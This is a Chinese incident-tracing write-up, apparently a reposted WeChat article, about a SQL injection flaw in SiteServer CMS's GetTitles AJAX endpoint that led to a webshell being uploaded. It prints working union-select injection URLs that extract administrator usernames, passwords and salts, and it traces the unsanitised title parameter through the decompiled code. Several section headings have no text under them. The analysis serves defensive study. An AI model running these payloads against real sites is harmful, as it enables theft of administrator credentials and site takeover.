文章来源:网友投稿
文章作者:XD0ne
背景
起因
溯源过程
http://www.xxxx.cn/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20Username%20from%20bairong_Administrator--
http://www.xxxx.cn/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%201%20Password%20from%20bairong_Administrator--%20
http://www.xxxx.cn/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20PasswordSalt%20from%20bairong_Administrator--
攻击过程概述:
影响范围:
攻击者可以获取到该站点siteserver应用管理员
攻击者可以访问到对应的siteserver数据库数据
漏洞分析:
代码分析
反编译改文件找到对应的代码块:
可以看到对应的http请求的函数为GetTitles出现sql注入的参数是title,该参数没有经过任何处理直接传到了执行sql的GetValueListByStartString函数中,定位到该函数:
title参数对应这的startString参数。该参数也是没有经过任何处理就被传入GetInStr函数。查看该函数:
http://www.xxxx.cn/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a',0) > 0 union select TOP 2 PasswordSalt from bairong_Administrator--
SELECT xxx FROM *** WHERE NodeID = 1 AND CHARINDEX('a',0) > 0 union select TOP 2 PasswordSalt from bairong_Administrator-- ', 'Title') > 0
推荐文章++++
本文始发于微信公众号(黑白之道):一次服务器被传webshell事件溯源
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论